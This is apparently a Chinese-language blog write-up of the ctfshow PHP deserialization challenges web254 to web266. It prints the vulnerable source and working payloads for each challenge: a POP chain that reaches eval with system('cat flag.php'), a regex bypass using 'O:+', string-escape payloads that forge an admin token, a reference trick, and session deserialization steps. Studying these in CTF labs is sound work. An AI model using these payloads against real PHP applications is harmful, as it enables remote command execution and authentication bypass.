web254

web255

web256

web257

web258

web259

web260

web262

web263

web264

web265

web266


web254

error_reporting(0);
highlight_file(__FILE__);
include('flag.php'); class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false; public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
} $username=$_GET['username'];
$password=$_GET['password']; if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

分析

先初始化ctfShowUser类,然后在后面的if中先判断变量是否设置,然后new一个新对象$user,用户输入的参数与$user对比是否一致,所以只需要传入username='xxxxxx'&password='xxxxxx'

实现

payload:username='xxxxxx'&password='xxxxxx'

web255

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;     public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
} $username=$_GET['username'];
$password=$_GET['password']; if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }

分析

先初始化ctfShowUser类,然后在后面的if中先判断变量是否设置,然后通过反序列化获取对象赋值给$user(序列化将对象保存到字符串,反序列化将字符串恢复为对象),反序列化的值是user的cookie,之后要求checkVip为true,然后执行vipOneKeyGetFlag()得到flag

要让isvip为true才能执行后面的函数得到flag,所以我们要写一个php序列化函数传到cookie,然后经过反序列化由赋值给$user,然后isvip去之前的一致得到flag。注意在cookie字段当中需要url编码一波,其名称以及存储的字符串值是必须经过URL编码

实现

web256

error_reporting(0);
highlight_file(__FILE__);
include('flag.php'); class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false; public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
} $username=$_GET['username'];
$password=$_GET['password']; if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

分析

大部分思路与web255相似,唯一区别在

要求username不等于password。

web257

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';     public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    } } class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
} class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
} $username=$_GET['username'];
$password=$_GET['password']; if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

分析

能利用的点是eval函数输出php代码进行命令执行,所以我们需要在初始化backDoor类,然后在ctfShowUser类的__destruct中发现了$this->class->getInfo();,那么我们只需要让$this->class是backDoor类的实例化就可以了。反序列化时,首先调用__destruct,接着调用$this->class->getInfo();也就是backDoor->getinfo(),最后触发eval。

实现

别人的payload(https://y4tacker.blog.csdn.net/article/details/110499314)

web258

error_reporting(0);
highlight_file(__FILE__); class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';     public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    } } class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
} class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
} $username=$_GET['username'];
$password=$_GET['password']; if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

分析

构造pop链时可以用到str_replace函数。在257基础上增加了一串正则表达式。因为正则把O:过滤了,可以利用str_replace函数把O:换成O:+

实现

class ctfShowUser{

    public $username='xxxxxx';

    public $password='xxxxxx';

    public $isVip=true;

    public $class = 'backDoor';

    public function __construct(){

        $this->class=new backDoor();

    }

    public function __destruct(){

        $this->class->getInfo();

    }

}

class backDoor{

    public $code="system('cat flag.php');";

    public function getInfo(){

        eval($this->code);

    }

}

    

$a = new ctfShowUser();

$a = serialize($a);

$a= str_replace('O:','O:+',$a);

echo urlencode($a);

web259(还不会)



利用的是php原生类SoapClient

web260

<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php'); if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag;
}

分析

get传参的值序列化之后要有ctfshow_i_love_36D,所以传ctfshow=ctfshow_i_love_36D

实现

payload:ctfshow=ctfshow_i_love_36D

web262

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com */ error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
} $f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t']; if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
} highlight_file(__FILE__);

//message.php下的源码
<?php /*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 15:13:03
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com */
highlight_file(__FILE__);
include('flag.php'); class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
} if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}

分析

在标题注释里面有个message.php 猜测可以试一下 得到以下代码。

在message.php这个页面中,输入msg作为cookie参数然后base64解密再反序列化赋值给$msg,判断token是否等于admin,然后获取flag。 所以第一步我们需要先将$token='admin';序列化得到 O:7:"message":1:{s:5:"token";s:5:"admin";}

我们只需要用到{s:5:"token";s:5:"admin";}这一部分,通俗的讲我们需要构造一个长度跟{s:5:"token";s:5:"admin";}一样的字符串将序列化好的结构打乱,让需要利用的地方通过反序列化函数最后获取flag。通过python可以知道";s:5:"token";s:5:"admin";}的长度(必须要在s:5:"token";s:5:"admin";}前面加上";->";s:5:"token";s:5:"admin";}),

然后通过

这几句话可以知道每出现一个fuck或者loveU可以替换一个字符,一个27个,所以需要构造27个fuck或者loveU,与";s:5:"token";s:5:"admin";}拼接,其他变量何以为任意。这样序列化对应的27为长度在过滤后的序列化会被27个fuck或者loveU填充,从而使我们构造的代码 ;s:5:"token";s:5:"admin";}成功逃逸。

实现

  1. 写php脚本

  1. 构造patyload

     ?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
  2. 访问message.php

然后访问message.php得到flag

web263(php session反序列化漏洞)

参考博客

参考博客

参考博客

参考博客

分析

session反序列化漏洞过程可以理解为,1.先获取cookie建立连接 2.抓包修改cookie成序列化字符串 3.然后在访问check.php,这样子cookie中的序列化字符串会传入到check.php中实现了命令执行 4.然后访问写入的php文件即可得到flag

还是看大佬们的博客吧

web264

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com */ error_reporting(0);
session_start(); class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
} $f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t']; if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
$_SESSION['msg']=base64_encode($umsg);
echo 'Your message has been sent';
} highlight_file(__FILE__);
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 15:13:03
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com */
session_start();
highlight_file(__FILE__);
include('flag.php'); class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
} if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_SESSION['msg']));
if($msg->token=='admin'){
echo $flag;
}
}

分析

思路是跟web262很像,只是在message.php下cookie变成了session。

cookie变成了session, 所以不能直接修改cookie。它需要什么就加什么,需要传一个cookie的msg值,抓包以后在cookie那里加上msg=1就可以了。

过程

web265

php引用符&(https://www.jb51.net/article/174133.htm)

error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password; public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
} $ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand()); if($ctfshow->login()){
echo $flag;
}

实现

class ctfshowAdmin{
    public $token = 'a';
    public $password = 'a';
    public function __construct(){
        $this->token = 'a';
        $this->password =& $this->token;
    }
}
echo serialize(new ctfshowAdmin());

web266

highlight_file(__FILE__);

include('flag.php');
$cs = file_get_contents('php://input'); class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function login(){
        return $this->username===$this->password;
    }
    public function __toString(){
        return $this->username;
    }
    public function __destruct(){
        global $flag;
        echo $flag;
    }
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
    throw new Exception("Error $ctfshowo",1);

实现

php写脚本

class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
}   
echo serialize(new ctfshow());

通过post传参。 但是需要注意大小写。 最后两行源码过滤了ctfshow

c通过ctfshow学习php反序列化的更多相关文章

  1. 通过WebGoat学习java反序列化漏洞

    首发于freebuff. WebGoat-Insecure Deserialization Insecure Deserialization 01 概念 本课程描述了什么是序列化,以及如何操纵它来执行 ...

  2. 五个demo案例带你学习PHP反序列化漏洞

    一直想研究下php反序列化漏洞,花了几天时间做了个简单的了解..写篇文章记录下. 直白点就是围绕着serialize和unserialize两个函数. 一个用于序列化,一个用于反序列化. 我们通常把字 ...

  3. 从原理学习Java反序列化

    1 序列化与反序列化 1.1 概念 序列化: 将数据结构或对象转换成二进制串的过程 反序列化:将在序列化过程中所生成的二进制串转换成数据结构或者对象的过程 1.2 使用场景 当你想把的内存中的对象状态 ...

  4. jarvis OJ WEB题目writeup

    0x00前言 发现一个很好的ctf平台,题目感觉很有趣,学习了一波并记录一下 https://www.jarvisoj.com 0x01 Port51 题目要求是用51端口去访问该网页,注意下,要用具 ...

  5. 深入C#学习系列一:序列化(Serialize)、反序列化(Deserialize)

    序列化概述: 序列化 (Serialization)将对象的状态信息转换为可以存储或传输的形式的过程.在序列化期间,对象将其当前状态写入到临时或持久性存储区.以后,可以通过从存储区中读取或反序列化对象 ...

  6. WebAPI调用笔记 ASP.NET CORE 学习之自定义异常处理 MySQL数据库查询优化建议 .NET操作XML文件之泛型集合的序列化与反序列化 Asp.Net Core 轻松学-多线程之Task快速上手 Asp.Net Core 轻松学-多线程之Task(补充)

    WebAPI调用笔记   前言 即时通信项目中初次调用OA接口遇到了一些问题,因为本人从业后几乎一直做CS端项目,一个简单的WebAPI调用居然浪费了不少时间,特此记录. 接口描述 首先说明一下,基于 ...

  7. CVE-2018-2628 weblogic WLS反序列化漏洞--RCE学习笔记

    weblogic WLS 反序列化漏洞学习 鸣谢 感谢POC和分析文档的作者-绿盟大佬=>liaoxinxi:感谢群内各位大佬及时传播了分析文档,我才有幸能看到. 漏洞简介 漏洞威胁:RCE-- ...

  8. 深入C#学习系列一:序列化(Serialize)、反序列化(Deserialize)(转)

    序列化又称串行化,是.NET运行时环境用来支持用户定义类型的流化的机制.其目的是以某种存储形成使自定义对象持久化,或者将这种对象从一个地方传输到另一个地方.    .NET框架提供了两种串行化的方式: ...

  9. weblogic-CVE-2020-2551-IIOP反序列化学习记录

    CORBA: 具体的对CORBA的介绍安全客这篇文章https://www.anquanke.com/post/id/199227说的很详细,但是完全记住是不可能的,我觉得读完它要弄清以下几个点: 1 ...

随机推荐

  1. PyQt(Python+Qt)学习随笔:model/view架构中的QStringListModel

    老猿Python博文目录 专栏:使用PyQt开发图形界面Python应用 老猿Python博客地址 一.QStringListModel介绍 QStringListModel是Qt提供的一个已经实现Q ...

  2. PyQt学习问题:Model/View中中EditKeyPressed常量平台编辑键(the platform edit key )是什么?

    老猿在学习PyQt的Model/View设计时,发现是否允许对视图中的数据项进行编辑的函数setEditTriggers的参数QAbstractItemView.EditTriggers是几个常量的组 ...

  3. 一文搞懂RESTful API

    RESTful接口实战 原创公众号:bigsai 转载请联系bigsai 文章收藏在回车课堂 前言 在学习RESTful 风格接口之前,即使你不知道它是什么,但你肯定会好奇它能解决什么问题?有什么应用 ...

  4. 小程序map地图点击makert放大效果和点击放大地图

    WXML文件和JS文件代码在下方 <view class='map'> <map id="map" longitude="{{location.lng} ...

  5. mybatis批量修改数据

    xxxMapper.xml: <update id="updateSensorWarnings" parameterType="java.util.List&quo ...

  6. mysql 列转行 动态写法

    -- 列转行动态sql -- 测试表DROP TABLE IF EXISTS `tb_score`; CREATE TABLE `tb_score` ( `id` int(11) NOT NULL A ...

  7. java多线程之消费生产模型-使用synchronized解决虚假唤醒

    package com.wenshao.juc; /** * 生产者和消费者案例 * * @author Administrator * */ public class TestProductorAn ...

  8. selenium.common.exceptions.WebDriverException: Message: 'chromedriver'解决

    相信很多第一次学习selenium的同学们也对这个异常不陌生了,但具体该如何解决这个bug呢? 主要的原因还是因为selenium模拟的客户端对浏览器的操作,但相应浏览器的驱动版本不匹配导致的. 为了 ...

  9. 数据结构与算法——循环链表的算法实现(Joseph 问题)

    Joseph 问题: 如果有10 个人,按编号顺序1,2,...,10 顺时针方向围成一圈.从1 号开始顺时针方向1,2,...,9 报数,凡报数9 者出列(显然,第一个出圈为编号9 者). 最后一个 ...

  10. Vue-组件化,父组件传子组件常见传值方式

    前言 我们都知道vue核心之一:组件化,vue中万物皆组件,组件化我认为应该来至于模块化的设计思想,比如在模块化开发中,一个模块就是一个实现特定功能的独立的文件,有了模块我们就更方便去阅读代码,更方便 ...